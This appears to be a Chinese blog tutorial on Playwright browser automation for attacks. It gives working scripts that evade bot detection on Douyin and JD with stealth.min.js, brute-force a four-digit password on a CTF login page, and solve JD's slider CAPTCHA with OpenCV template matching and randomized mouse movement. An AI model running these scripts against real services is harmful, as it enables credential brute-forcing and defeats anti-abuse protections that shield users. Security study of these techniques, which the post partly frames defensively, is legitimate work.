long long ago出去打护网,遇到过一个很低能的登录界面,也没有验证码啥的,甚至没有登录次数限制,正常人的思路这里肯定直接开始密码爆破,我也不例外,但你直接burpsuite抓包会发现传入的密码参数被加密过了,当时我在前端看了半天也没弄明白这玩意儿怎么加密的,问了身边的队友有没有什么工具可以模仿人的行为比如在输入框里输入密码之类来辅助爆破,但大家都不会,遂放弃了这个网站,后来赛后听别人说这个站直接就能弱密码爆出来。最近在做一些和自动化攻击和反黑产有关的东西,学到了用playwright来模拟用户操作的方法,遂分享一下。
playwright基本概念和反爬常识
pip install playwright # 下载 playwright
playwright install # 安装浏览器环境
curl -O https://cdn.jsdelivr.net/gh/requireCool/stealth.min.js/stealth.min.js # 下载 stealth.min.js
playwright其实不仅仅是python的一个库,它最地道的用法还是用js写,不过我比较喜欢python因为很方便,这里我们就用jd的登陆页作为例子,写一个最简单的使用playwright启动浏览器访问某个网站的例子:
from playwright.sync_api import Playwright, sync_playwright, expect
import time
def run(playwright: Playwright) -> None:
browser = playwright.firefox.launch(headless=False)
context = browser.new_context(
viewport={"width": 1920, "height": 1080},
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 "
"Safari/537.36"
)
context.add_init_script(path="stealth.min.js")
page = context.new_page()
page.goto("https://passport.jd.com/new/login.aspx")
time.sleep(100)
context.close()
browser.close()
with sync_playwright() as playwright:
run(playwright)
当你运行这个代码,你会使用firefox隐私模式打开指定的网址:
整体的代码其实比较简单,browser是指定了使用的浏览器以及模式,这里我们用的是firefox浏览器,是否无头是否,也就是有头,playwright默认支持的浏览器很多,除了firefox以外还有chromium、webkit、chrome、chrome-beta、msedge、msedge-beta、msedge-dev。然后这个无头有头什么意思呢,无头浏览器是一种没有图形用户界面(GUI)的浏览器,它通过在内存中渲染页面,然后将结果发送回请求它的用户或程序来实现对网页的访问,而不会在屏幕上显示网页,因此它非常适用于网络爬虫和测试等自动化任务,因为没有UI所以我们也不好判断自己代码的执行情况,playwright提供了使用page.screenshot(path=’1.png’)这种保存实时浏览器截图的功能。
接下来是context,也就是设置了一些参数,看代码大伙也知道这是在干啥,接下来是context.add_init_script(path=”stealth.min.js”),这个东西就有意思了。很明显对于任何大厂商比如抖音、小红书这种,他们都会十分厌恶爬虫,因为很多黑产就会靠恶意爬取数据盈利,所以这种大网站都有一流的反爬检验,比如我们现在试试注释掉context.add_init_script这行用chromium打开抖音的搜索页https://www.douyin.com/discover
from playwright.sync_api import Playwright, sync_playwright, expect
import time
def run(playwright: Playwright) -> None:
browser = playwright.chromium.launch(headless=False)
context = browser.new_context(
viewport={"width": 1920, "height": 1080},
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 "
"Safari/537.36"
)
#context.add_init_script(path="C:/Users/user/stealth.min.js")
page = context.new_page()
page.goto("https://www.douyin.com/discover")
time.sleep(10)
# ---------------------
context.close()
browser.close()
with sync_playwright() as playwright:
run(playwright)
直接出现点选验证,风控已经发现你是自动化工具操纵的爬虫了,而当我们取消注释再打开:
验证码消失了,你成功绕过了抖音的风控!(题外话:测试的时候我尝试用webkit和firefox打开搜索页,无论加没加stealth.min.js这个插件均出现了验证码,说明抖音的反爬是能检验加了stealth的webkit或者firefox浏览器的,不过对于加了stealth的chromium却没检验出来,原因可能是因为chromium相较于chrome环境更简单,抖音网页里环境检测的手段都失效了)
你可能会好奇,那那这些大公司是用什么方法检验出来我是正常人还是自动化工具呢,你可以取消stealth插件然后用playwright调用无头浏览器打开https://bot.sannysoft.com/
from playwright.sync_api import Playwright, sync_playwright, expect
import time
def run(playwright: Playwright) -> None:
browser = playwright.chromium.launch(headless=True)
context = browser.new_context(
viewport={"width": 1920, "height": 1080},
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 "
"Safari/537.36"
)
#context.add_init_script(path="C:/Users/user/stealth.min.js")
page = context.new_page()
page.goto("https://bot.sannysoft.com/")
time.sleep(10);
page.screenshot(path='1.png')
# ---------------------
context.close()
browser.close()
with sync_playwright() as playwright:
run(playwright)
红色的地方就说明网站通过某个检验字段检验出来你是机器人,你可以去网站里仔细看看这些字段都是怎么检验的,然后我们加上插件再访问一次
直接全绿了,所以这就是这个插件的作用,可以帮你绕过环境检验装成正常人,目前而言绝大部分网站都没有检验方法,比如我们刚刚尝试发现抖音对于加了stealth的chromium是检验不出来的,但少数大厂的反爬团队还是有解决办法的。
这里给一个简单的思路,这里你可以看到有Chrome这一项,是检验你是不是chrome浏览器的,你用firefox打开这一项就是红的,显然这不是chrome浏览器嘛,但当你加了stealth插件用playwright打开这个网站,这一项就绿了,因为stealth补环境自动帮你补成chrome了,所以当你检验出来某个用户浏览器明明是chrome却有其他浏览器的特征,就可以启动验证码了,很有可能它就是用stealth伪装过的爬虫,除此之外,python发起的请求和正常用户发起的请求有些特征是不一样的,这个特征也可以用来检验爬虫等等等。。。
利用codegen实现密码爆破
最初写这篇文章的时候我才入职xhs半个月,现在都离职了,令人感叹,那继续写写自动化攻击的东西,讲讲文章开头提到的如何用自动化库模仿用户操作爆破密码,正好之前有师傅在催更。
这里选取的测试环境是BUUOJ里Basic题目类别里BUU BRUTE 1这一道题
可以看到非常简朴的一个页面。我一直感觉playwright是自动化库里最好用的,比Selenium啥的都强,除了他安装方便之外,还有一个原因,就是playwright有一个功能叫codegen,启动后playwright会自动录制你的行为并生成重复该操作的脚本,我们来试试:
python -m playwright codegen
左边是一个空白的页面,右边是实时生成的代码,我们在左边启动的浏览器跳转到登录网页上进行登录操作
右边的代码就是自动化库生成的模仿用户行为的代码
from playwright.sync_api import Playwright, sync_playwright, expect
def run(playwright: Playwright) -> None:
browser = playwright.chromium.launch(headless=False)
context = browser.new_context()
page = context.new_page()
page.goto("http://3dcc5c06-4574-4dde-b755-7ad8b4f14fac.node4.buuoj.cn:81/")
page.locator("input[name=\"username\"]").click()
page.locator("input[name=\"username\"]").fill("admin")
page.locator("input[name=\"password\"]").click()
page.locator("input[name=\"password\"]").fill("123456")
page.get_by_role("button", name="Submit").click()
# ---------------------
context.close()
browser.close()
with sync_playwright() as playwright:
run(playwright)
代码逻辑其实很简单,选定元素,点击,输入字符串,自动化库通过api的操作实现了正常人的点击行为,当然这个代码也不是百分百能跑的,可能需要你在细节上优化一下,比如这个代码有个很明显的缺点就是跑完立刻就终止了,我们在page.get_by_role(“button”, name=”Submit”).click()后面加一句sleep(100),再运行一下脚本
可以看到成功运行,现在我们需要思考如何实现爆破呢,对于是否登录成功的判断,我们可以用页面上的文字来判断,也就是判断页面是否出现”密码错误”这四个字,这也不难,playwright里可以使用page.content()来读取页面的html代码,识别这里面是否有对应的字就行了,我们把下面的代码加上再试试:
html = page.content()
if '密码错误' in html:
print('wrong password')
可以看到成功打印,这证明我们的尝试是正确,现在我们就可以用这个作为标识进行爆破了,因为提示了密码是四位数字嘛,我们遍历四位就行了,这里我们还可以启动无头模式来加快爆破的速度,不过相对于直接发请求那种还是太慢了(好处就是比协议攻击难识别一点,当然这仅仅限于平时遇到的那些低能站点,对于大厂的登录框还是不行的,后面有机会可以接着讲讲怎么降低识别率),有大神可以优化一下,我就给个简单demo:
from playwright.sync_api import Playwright, sync_playwright, expect
import time
import sys
def run(playwright: Playwright) -> None:
browser = playwright.chromium.launch(headless=True)
context = browser.new_context()
page = context.new_page()
for i in range(6480,10000):
password = f"{i:04d}"
print(password)
page.goto("http://3dcc5c06-4574-4dde-b755-7ad8b4f14fac.node4.buuoj.cn:81/")
#点击这个操作其实是没啥用的,可以删了,因为我们可以直接操作元素传值,但面对大厂的登录框的话他们可能会识别这种行为特征,最好还是加上
page.locator("input[name=\"username\"]").fill("admin")
page.locator("input[name=\"password\"]").fill(password)
page.get_by_role("button", name="Submit").click()
html = page.content()
if '密码错误' in html:
print('wrong password')
else:
print(html)
sys.exit()
context.close()
browser.close()
with sync_playwright() as playwright:
run(playwright)
平移滑块
滑块验证码是验证码的一种,生成的流程一般包含三步:
根据用户标识,从后台获取验证码图片
↓↓↓
监听鼠标事件并回传后台
↓↓↓
后台判断事件真伪,回传验证真伪
因此大体看来攻击思路也有两种,第一种是模拟用户行为进行滑块滑动,第二种是逆向js代码,伪造用户已经正确滑动的请求。第二种破解方法毫无疑问是最困难的,但是收益也是最大的,因此在黑产世界里卖的很贵,这里我们就来讨论第一种破解方法。
这种就是最常见的滑动滑块,也是相对而言破解难度最低的滑块。我们可以分析用户的行为拆分步骤:
等待验证码图片加载
↓↓↓
移动鼠标到滑块位置
↓↓↓
按下鼠标
↓↓↓
移动鼠标到缺口位置
↓↓↓
松开鼠标
↓↓↓
等待结果返回
模拟鼠标行为在playwright:
slider = page.locator('div.red-captcha-slider').bounding_box()
page.mouse.move(x=slider['x'],y=slider['y']+slider['height']/2)
page.mouse.down() # 按住
page.mouse.move(x=slider['x']+230,y=slider['y']+slider['height']/2)
page.mouse.up() # 释放
我们只要找到启动滑块那个按钮的标签,获取它的坐标,让背后用page.mouse.move移动过去,然后用page.mouse.down()按住,page.mouse.up()释放即可,难点在于怎么正确的移动滑块到缺口的位置。
因为一般来说,缺口图片和缺口块在源码里是直接能下载到,以这个不知名的目标为例:
可以看到其实只是页面里的base64字符串,正则匹配一下就可以了:
from playwright.sync_api import Playwright, sync_playwright, expect
import time
import random
import base64
import re
from PIL import Image
import io
from collections import Counter
import cv2
from io import BytesIO
def base64_to_image(base64_str,save_path):
img_data = base64.b64decode(base64_str)
img = Image.open(BytesIO(img_data))
img.save(save_path)
def get_track():
img=cv2.imread('image.png',0)
template=cv2.imread('template.png',0)
res=cv2.matchTemplate(img,template,cv2.TM_CCOEFF_NORMED)
value=cv2.minMaxLoc(res)[2][0]
distance=value*278/360
return distance
def run(playwright: Playwright) -> None:
browser = playwright.firefox.launch(headless=True)
context = browser.new_context(
viewport={"width": 1920, "height": 1080},
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 ""Safari/537.36")
context.add_init_script(path="C:/Users/user/stealth.min.js")
page = context.new_page()
page.goto("https://passport.jd.com/new/login.aspx")
page.get_by_placeholder("账号名/手机号/邮箱").click()
page.get_by_placeholder("账号名/手机号/邮箱").fill("123456")
page.get_by_placeholder("密码").click()
page.get_by_placeholder("密码").fill("123456")
page.get_by_role("link", name="登 录").click()
page.get_by_role("link", name="登 录").click()
time.sleep(0.4)
html=page.content()
# 提取字符串
pattern = re.compile(r'"data:image/png;base64,([^"]*)"')
matches = re.findall(pattern, html)
matches = matches[:2] # 获取前两个匹配结果
if len(matches)>0:
s1 = matches[0]
else:
s1 = None
print("没有找到第一个匹配的字符串")
if len(matches)>1:
s2 = matches[1]
else:
s2 = None
print("没有找到第二个匹配的字符串")
print(s1)
print(s2)
base64_to_image(s1,"image.png")
base64_to_image(s2,"template.png")
time.sleep(100)
context.close()
browser.close()
with sync_playwright() as playwright:
run(playwright)
这里把缺口图片保存为image.png,缺口块保存为template.png。
接下来是整个任务中第二难的一环,通过缺口图片和缺口块找到我们需要移动的距离(猜猜第一难的是啥)。这里我们用到是opencv里的模板匹配函数cv2.matchTemplate,简单来说就是我们把缺口图片和缺口块进行比较,找到两者之间最相关的部分,最相关的部分其实就是完美重合的位置,找到这里的坐标也就是我们需要移动的位置,这里代码我是偷的:
def get_track():
img=cv2.imread('image.png',0)
template=cv2.imread('template.png',0)
res=cv2.matchTemplate(img,template,cv2.TM_CCOEFF_NORMED)
value=cv2.minMaxLoc(res)[2][0]
distance=value*278/360
return distance
之前写了个脚本能自动滑动,但是轨迹会被检验出来,后面有机会再研究研究怎么混淆轨迹
from playwright.sync_api import Playwright, sync_playwright, expect
import time
import random
import base64
import re
from PIL import Image
import io
from collections import Counter
import cv2
from io import BytesIO
def base64_to_image(base64_str,save_path):
img_data = base64.b64decode(base64_str)
img = Image.open(BytesIO(img_data))
img.save(save_path)
def get_track():
img=cv2.imread('image.png',0)
template=cv2.imread('template.png',0)
res=cv2.matchTemplate(img,template,cv2.TM_CCOEFF_NORMED)
value=cv2.minMaxLoc(res)[2][0]
distance=value*278/360
return distance
def run(playwright: Playwright) -> None:
browser = playwright.webkit.launch(headless=False)
context = browser.new_context(
viewport={"width": 1920, "height": 1080},
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 "
"Safari/537.36"
)
context.add_init_script(path="stealth.min.js")
page = context.new_page()
page.goto("https://passport.jd.com/new/login.aspx")
time.sleep(0.2)
page.get_by_role("link", name="账户登录").click()
time.sleep(0.3)
page.get_by_placeholder("邮箱/账号名/登录手机").click()
time.sleep(0.4)
s=''
for char in "123":
s+=char
page.get_by_placeholder("邮箱/账号名/登录手机").fill(s)
num=random.uniform(0.1,0.5)
time.sleep(num)
time.sleep(0.4)
page.get_by_placeholder("密码").click()
time.sleep(0.4)
b=''
for char in "123":
b+=char
page.get_by_placeholder("密码").fill(b)
num=random.uniform(0.1,0.5)
time.sleep(num)
# page.get_by_placeholder("密码").fill("zuiaidianziyan")
time.sleep(0.4)
page.get_by_role("link", name="登 录").click()
time.sleep(0.4)
#生成滑块
html=page.content()
# 提取字符串
pattern = re.compile(r'"data:image/png;base64,([^"]*)"')
matches = re.findall(pattern, html)
matches = matches[:2] # 获取前两个匹配结果
if len(matches)>0:
s1 = matches[0]
else:
s1 = None
print("没有找到第一个匹配的字符串")
if len(matches)>1:
s2 = matches[1]
else:
s2 = None
print("没有找到第二个匹配的字符串")
base64_to_image(s1,"image.png")
base64_to_image(s2,"template.png")
# print("s1=",s1)
# print("s2=",s2)
aim_x=get_track()
slider = page.locator('.JDJRV-slide-bg > div:nth-child(3)').bounding_box()
slider_y = slider['y'] + slider['height'] / 2+random.uniform(-2, 2)
# 计算滑块的起始点和目的地点
start_x = slider['x']+random.uniform(-2, 2) # 起始点 X 坐标
end_x = start_x + aim_x +random.uniform(-2, 2) # 目的地 X 坐标
# 计算滑动步数和每步的 X 轴位移量
step_count = 10 # 可以根据实际情况调整
step_width = (end_x - start_x) / step_count
# 移动鼠标到滑块起始位置并按下
page.mouse.move(x=slider['x']+random.uniform(-1, 1), y=slider_y+random.uniform(-1, 1))
page.mouse.down()
# 小步滑动
for i in range(step_count-1):
# 随机加入小范围内的偏移量
x_offset = random.uniform(2, 3)
y_offset = random.uniform(-2, 2)
x = start_x + (i + 1) * step_width + x_offset
y = slider_y + y_offset
page.mouse.move(x=x, y=y)
time.sleep(random.uniform(0, 0.1))
# 释放鼠标
# page.mouse.move(random.uniform(-2, 0),random.uniform(-2, 2))
time.sleep(random.uniform(0, 0.1))
x_offset = random.uniform(5, 6)
y_offset = random.uniform(-2, 2)
x = start_x + step_count * step_width + x_offset
y = slider_y + y_offset
page.mouse.move(x=x, y=y)
time.sleep(random.uniform(0, 0.1))
x = x+random.uniform(-5, -6)
y = y + random.uniform(-2, 2)
page.mouse.move(x=x, y=y)
page.mouse.up()
time.sleep(100)
context.close()
browser.close()
with sync_playwright() as playwright:
run(playwright)
Python中的Selenium库也可以模拟浏览器操作
是的,这算是爬虫基础了